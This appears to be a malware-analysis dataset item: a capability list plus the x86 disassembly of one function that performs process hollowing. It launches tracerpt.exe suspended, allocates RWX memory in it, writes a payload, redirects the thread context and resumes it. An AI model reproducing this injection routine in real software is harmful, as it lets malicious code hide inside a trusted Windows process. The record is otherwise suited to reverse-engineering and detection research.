Function at 0x1000dd60
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x1003c2e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x430], 0
push 0x40
push 0
lea eax, [ebp - 0x42c]
push eax
call fcn.1001f660
add esp, 0xc
mov dword [ebp - 0x2d8], 0
push 0x2c8
push 0
lea ecx, [ebp - 0x2d4]
push ecx
call fcn.1001f660
add esp, 0xc
mov dword [ebp - 0x3e4], 0
push 0x44
push 0
lea edx, [ebp - 0x430]
push edx
call fcn.1001f660
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
push 0x2cc
push 0
lea edx, [ebp - 0x2d8]
push edx
call fcn.1001f660
add esp, 0xc
mov dword [ebp - 0x430], 0x44
mov dword [ebp - 0x404], 1
xor eax, eax
mov word [ebp - 0x400], ax
mov byte [ebp - 0x3e0], 0
push 0xfe
push 0
lea ecx, [ebp - 0x3df]
push ecx
call fcn.1001f660
add esp, 0xc
push 0xff
lea edx, [ebp - 0x3e0]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0x3dd], 0
push str.WindowsSysWOW64_tracerpt.exe
lea eax, [ebp - 0x3e0]
push eax
push 0x100376c4
lea ecx, [ebp - 0x3e0]
push ecx
call fcn.1000e0c0
add esp, 0x10
lea edx, [ebp - 0x3e0]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000de9f
mov byte [ebp - 0x3dd], 0
push str.WindowsSystem32_tracerpt.exe
lea eax, [ebp - 0x3e0]
push eax
push str._s_s
lea ecx, [ebp - 0x3e0]
push ecx
call fcn.1000e0c0
add esp, 0x10
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x430]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3e0]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0
jne 0x1000dedb
xor eax, eax
jmp 0x1000dfb2
push 0x40
push 0x3000
mov edx, dword [ebp + 0xc]
push edx
push 0
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0
jne 0x1000df0a
xor eax, eax
jmp 0x1000dfb2
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x2dc]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000df32
xor eax, eax
jmp 0x1000dfb2
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2d8], 0x10007
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0
jne 0x1000df6d
xor eax, eax
jmp 0x1000dfb2
mov ecx, dword [ebp - 0x2dc]
mov dword [ebp - 0x220], ecx
lea edx, [ebp - 0x2d8]
push edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0
jne 0x1000dfa0
xor eax, eax
jmp 0x1000dfb2
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000fb07
mov esp, ebp
pop ebp
ret